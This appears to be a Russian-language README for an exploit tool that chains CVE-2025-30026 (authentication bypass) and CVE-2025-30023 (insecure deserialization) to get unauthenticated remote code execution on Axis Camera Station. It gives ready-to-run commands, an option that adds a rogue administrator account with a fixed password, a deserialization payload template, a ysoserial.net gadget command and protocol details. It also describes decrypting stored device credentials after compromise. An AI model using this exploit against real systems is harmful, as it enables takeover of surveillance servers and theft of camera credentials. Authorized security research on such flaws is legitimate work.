
Неаутентифицированное RCE в Axis Camera Station (ACS) с цепочкой CVE‑2025‑30026 (обход аутентификации) + CVE‑2025‑30023 (небезопасная десериализация)
Этот эксплойт объединяет CVE‑2025‑30026 (обход аутентификации) с CVE‑2025‑30023 (небезопасная десериализация) для достижения RCE без аутентификации в программном обеспечении Axis Camera Station. Он обходит механизм входа и доставляет вредоносные сериализованные полезные нагрузки, которые вызывают выполнение произвольных команд, давая атакующему полный контроль над целевой машиной.
Обе уязвимости затрагивают Axis Camera Station Pro версий до 6.9 и Axis Camera Station версий до 5.58.
Он основан на публикации в блоге Claroty "Turning Camera Surveillance on its Axis", в которой описывается протокол и связанные с ним уязвимости.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Флаг | Описание |
|---|---|
--host | Целевой IP/хост (обязательно). |
--port | Целевой порт (по умолчанию 55752). |
--key | Закрытый ключ клиента RSA-2048 в формате PEM (обязательно). |
--json | Локальный JSON-файл, содержащий отправляемый Request. |
--version | Request VersionFacade.get_ProductVersion для получения информации о версии. |
--adduser | Создать пользователя ricardo с паролем ThisIsIt123 и добавить его в группу Administrators. |
--wait | Количество секунд прослушивания канала после рукопожатия (по умолчанию 5). |
--listen | Количество секунд ожидания ответа после отправки Request (по умолчанию 15). |
Установите зависимости и сгенерируйте закрытый ключ RSA в формате PEM для клиента:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Запросите версию продукта, чтобы проверить, уязвима ли она:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Используйте десериализацию для создания пользователя-администратора ricardo с паролем ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Отправьте пользовательский Request из JSON-файла для выполнения любой команды:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestRequest — это JSON-объект с единственным ключом "Request". Формат для эксплуатации десериализации:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
Значение поля clientInformationDto можно получить с помощью Ysoserial.net с использованием гаджета, такого как WindowsIdentity, который выглядит довольно стабильным для эксплуатации этой уязвимости (другие гаджеты приводят к сбою службы):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Получив доступ к машине Windows, вы получаете доступ к базам данных .FDB, которые содержат учётные данные для подключения к различным устройствам. Они зашифрованы с использованием слабой реализации AES, которую можно немедленно расшифровать, используя серийный номер тома хоста, или взломать перебором за считанные минуты с помощью GPU.
Вы можете использовать скрипт из этого репозитория для её эксплуатации: CVE-2026-63286.
AXIS Camera Station оборачивает поверх HTTP двоичный протокол с сохранением состояния. Вместо одного запроса/ответа на соединение он открывает два долгоживущих канала и передаёт по ним сообщения в кадрах до закрытия соединения.
| Уровень | Детали |
|---|---|
| Транспорт | HTTP через порт 55752. GET /_/ открывает RX-канал (приёма); POST /_/<channelID> — это TX-канал (передачи), при этом каждое сообщение находится в теле POST-запроса. |
| Формирование кадров RX | Тело HTTP chunked; внутри него управляющие кадры имеют вид [uint32 LE length][data]. |
| Рукопожатие | Обе стороны обмениваются открытым ключом, затем случайный сеансовый ключ AES, завёрнутый открытым ключом другой стороны. |
| Формат ключа | Клиент отправляет свой сертификат X.509 (base64). Ключ AES отправляется как base64(wrapped_key):base64(iv). |
| Обёртка RSA | PKCS#1 v1.5. |
| Канал | AES-256-CBC с дополнением PKCS#7. Кадры от сервера к клиенту используют ключ и IV сервера. |
| Приложение | JSON Axis.Remoting. Клиент сначала отправляет свой ClientId как HELLO, затем {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Протестировано на версиях 5.57.27610 и 5.57.33556 под управлением Windows 11.
Атаки десериализации могут привести к сбою службы при использовании нестабильных гаджетов или неподходящих параметров, поэтому всегда тестируйте в контролируемых средах.
Этот скрипт предоставляется исключительно в образовательных целях и для авторизованного тестирования... используйте на свой страх и риск!